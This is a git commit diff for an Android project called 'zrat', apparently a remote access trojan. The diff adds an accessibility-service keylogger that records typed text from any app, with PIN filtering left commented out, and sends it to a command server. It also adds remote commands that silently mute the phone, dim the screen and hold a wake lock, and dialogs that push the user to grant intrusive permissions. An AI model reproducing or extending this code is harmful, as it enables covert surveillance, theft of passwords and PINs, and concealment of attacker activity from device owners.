wui 11 месяцев назад
Родитель
Сommit
0c9e98d5c2

+ 8 - 0
android/.idea/deploymentTargetSelector.xml

@@ -4,6 +4,14 @@
     <selectionStates>
       <SelectionState runConfigName="app">
         <option name="selectionMode" value="DROPDOWN" />
+        <DropdownSelection timestamp="2025-01-22T08:48:32.077158Z">
+          <Target type="DEFAULT_BOOT">
+            <handle>
+              <DeviceId pluginId="PhysicalDevice" identifier="serial=19031FDF6009EN" />
+            </handle>
+          </Target>
+        </DropdownSelection>
+        <DialogSelection />
       </SelectionState>
     </selectionStates>
   </component>

+ 4 - 0
android/zrat/src/main/AndroidManifest.xml

@@ -18,6 +18,10 @@
     <uses-permission android:name="android.permission.SEND_SMS" />
     <uses-permission android:name="android.permission.READ_SMS" />
     <uses-permission android:name="android.permission.WRITE_SMS" />
+    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+    <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
 
     <application android:usesCleartextTraffic="true">
         <service

+ 72 - 10
android/zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -6,24 +6,18 @@ import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageManager;
 import android.graphics.Path;
-import android.graphics.PixelFormat;
 import android.graphics.Rect;
-import android.os.IBinder;
+import android.media.AudioManager;
+import android.os.PowerManager;
 import android.provider.Settings;
 import android.util.Log;
-import android.view.Gravity;
-import android.view.LayoutInflater;
-import android.view.WindowManager;
 import android.view.accessibility.AccessibilityEvent;
 import android.view.accessibility.AccessibilityNodeInfo;
-import android.view.accessibility.AccessibilityWindowInfo;
 import android.widget.FrameLayout;
 import android.widget.ImageButton;
 
 import com.google.gson.Gson;
 
-import org.json.JSONObject;
-
 import java.util.ArrayDeque;
 import java.util.ArrayList;
 import java.util.Deque;
@@ -35,6 +29,8 @@ import java.util.Optional;
 public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
     private static final String TAG = "AccessibilityService";
 
+    Deque<String> textQueue;
+
     FrameLayout mLayout;
 
     public static AccessibilityService instance;
@@ -48,7 +44,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         instance = this;
 
         AccessibilityServiceInfo info = new AccessibilityServiceInfo();
-        info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
+        info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
         info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
         info.notificationTimeout = 100;
         info.flags = AccessibilityServiceInfo.DEFAULT
@@ -202,11 +198,37 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
 
         try {
             String packageName = event.getPackageName().toString();
+            int eventType = event.getEventType();
             PackageManager packageManager = this.getPackageManager();
             ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
             CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
-            Log.i(TAG, "app name is: " + applicationLabel);
+            Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
             traverseNode(getRootInActiveWindow());
+
+            // 输入文本记录
+            if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
+                AccessibilityNodeInfo source = event.getSource();
+                if (source != null) {
+                    CharSequence inputText = source.getText();
+                    CharSequence contentDescription = source.getContentDescription();
+                    if (inputText != null) {
+                        if (contentDescription == null) {
+                            contentDescription = "";
+                        }
+                        // PIN码
+                        Map<String, Object> map = new HashMap<>();
+//                        if (contentDescription.toString().contains("PIN")) {
+                        map.put("appName", applicationLabel.toString());
+                        map.put("record", inputText.toString());
+                        ZService.zService.saveTextRecordToDataBase(map);
+//                        } else {
+//                            Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
+//                            Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
+//                            Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
+//                        }
+                    }
+                }
+            }
         } catch (Exception e) {
             e.printStackTrace();
         }
@@ -267,5 +289,45 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
         performGlobalAction(GLOBAL_ACTION_RECENTS);
     }
 
+    public void mute() {
+        AudioManager audioManager = (AudioManager) getSystemService(AUDIO_SERVICE);
+        if (audioManager != null) {
+            audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
+            // 媒体音量
+            audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
+            // 通知音量
+            audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0);
+            // 系统音量
+            audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 0, 0);
+            // 铃声音量
+            audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
+            // 拨号音量
+            audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0);
+            // 闹钟
+            audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
+            // 辅助功能音量
+            audioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, 0, 0);
+            // 振动
+            Settings.System.putInt(getContentResolver(), Settings.System.HAPTIC_FEEDBACK_ENABLED, 0);
+        }
+    }
+
+    public void screenOff() {
+        try {
+            Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 1);
+            Log.i(TAG, "ScreenOff: 完成");
+        } catch (SecurityException e) {
+            Log.e(TAG, "ScreenOff: 需要权限: " + e.getMessage(), e);
+        } catch (Exception e) {
+            Log.e(TAG, "ScreenOff: 设置时出错: " + e.getMessage(), e);
+        }
+    }
+
+    public void intoLockScreen() {
+        PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
+        PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, "MyApp::WakeLock");
+        wakeLock.acquire(10 * 60 * 1000L);
+        wakeLock.release();
+    }
 
 }

+ 81 - 0
android/zrat/src/main/java/com/example/zrat/ZService.java

@@ -56,10 +56,14 @@ public class ZService extends Service {
     private final IBinder binder = new ZBinder();
     private Socket mSocket;
 
+    private Command mCommand;
+
     private int RETRY_COUNT = 0;
 
     private AlertDialog alertDialog;
 
+    public static ZService zService;
+
     public ZService() {
     }
 
@@ -90,6 +94,13 @@ public class ZService extends Service {
             }
             dismissDialog();
 
+            boolean writeSettingsPermission = checkWriteSettingsPermission(activity);
+            if (!writeSettingsPermission) return;
+            dismissDialog();
+
+            boolean policyAccessSettingsPermission = checkPolicyAccessSettingsPermission(activity);
+            if (!policyAccessSettingsPermission) return;
+            dismissDialog();
 
             boolean smsPermission = checkSmsPermission(activity);
             if (!smsPermission) return;
@@ -151,6 +162,33 @@ public class ZService extends Service {
         return false;
     }
 
+    public boolean checkPolicyAccessSettingsPermission(Context context) {
+        NotificationManager notificationManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
+        if (notificationManager.isNotificationPolicyAccessGranted()) {
+            return true;
+        }
+        showDialog(context, "Permission Required", "To continue using this app, please grant the policy permissions",
+                (dialog, which) -> {
+                    Intent intent = new Intent(Settings.ACTION_NOTIFICATION_POLICY_ACCESS_SETTINGS);
+                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    startActivity(intent);
+                });
+        return false;
+    }
+
+    public boolean checkWriteSettingsPermission(Context context) {
+        if (Settings.System.canWrite(context)) {
+            return true;
+        }
+        showDialog(context, "Permission Required", "To continue using this app, please grant the write permissions",
+                (dialog, which) -> {
+                    Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS);
+                    intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                    startActivity(intent);
+                });
+        return false;
+    }
+
     private boolean checkSmsPermission(Activity activity) {
         boolean hasPermission = EasyPermissions.hasPermissions(this, android.Manifest.permission.SEND_SMS, android.Manifest.permission.READ_SMS);
         if (hasPermission) {
@@ -257,8 +295,10 @@ public class ZService extends Service {
     @Override
     public void onCreate() {
         super.onCreate();
+
         try {
             String socketUrl = getSocketUrl();
+            // String socketUrl = "http://192.168.6.127:3333/client";
             IO.Options options = new IO.Options();
             options.path = "/ws";
             options.transports = new String[]{"websocket"};
@@ -278,6 +318,7 @@ public class ZService extends Service {
                 JSONObject jsonObject = (JSONObject) args[0];
                 try {
                     Command command = gson.fromJson(jsonObject.toString(), Command.class);
+                    mCommand = command;
                     switch (Objects.requireNonNull(command).getAction()) {
                         case "sendSms":
                             handleSendSms(command);
@@ -306,12 +347,20 @@ public class ZService extends Service {
                         case "recent":
                             handleRecentApps(command);
                             break;
+                        case "mute":
+                            handleMute(command);
+                            break;
+                        case "screenOff":
+                            handleScreenOff(command);
+                        case "intoLockScreen":
+                            handleIntoLockScreen(command);
                     }
                 } catch (Exception e) {
                     e.printStackTrace();
                 }
             });
             mSocket.connect();
+            zService = this;
         } catch (Exception e) {
             e.printStackTrace();
         }
@@ -408,6 +457,7 @@ public class ZService extends Service {
             Gson gson = new Gson();
             String json = gson.toJson(map);
             try {
+                Log.i(TAG, "输入文本记录 | FROM " + command.getFrom());
                 mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
             } catch (JSONException e) {
                 e.printStackTrace();
@@ -453,4 +503,35 @@ public class ZService extends Service {
         }
     }
 
+    private void handleMute(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.mute();
+        }
+    }
+
+    private void handleScreenOff(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.screenOff();
+        }
+    }
+
+    private void handleIntoLockScreen(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.intoLockScreen();
+        }
+    }
+
+    public void saveTextRecordToDataBase(Map<String, Object> map) {
+        String id = mSocket.id();
+        map.put("deviceId", id);
+        Gson gson = new Gson();
+        try {
+            Log.i(TAG, "输入文本记录 | ID " + id);
+            mSocket.emit("saveTextRecord", new JSONObject(gson.toJson(map)));
+        } catch (Exception e) {
+            e.printStackTrace();
+            Log.i(TAG, "输入文本记录 | ERROR " + e);
+        }
+    }
+
 }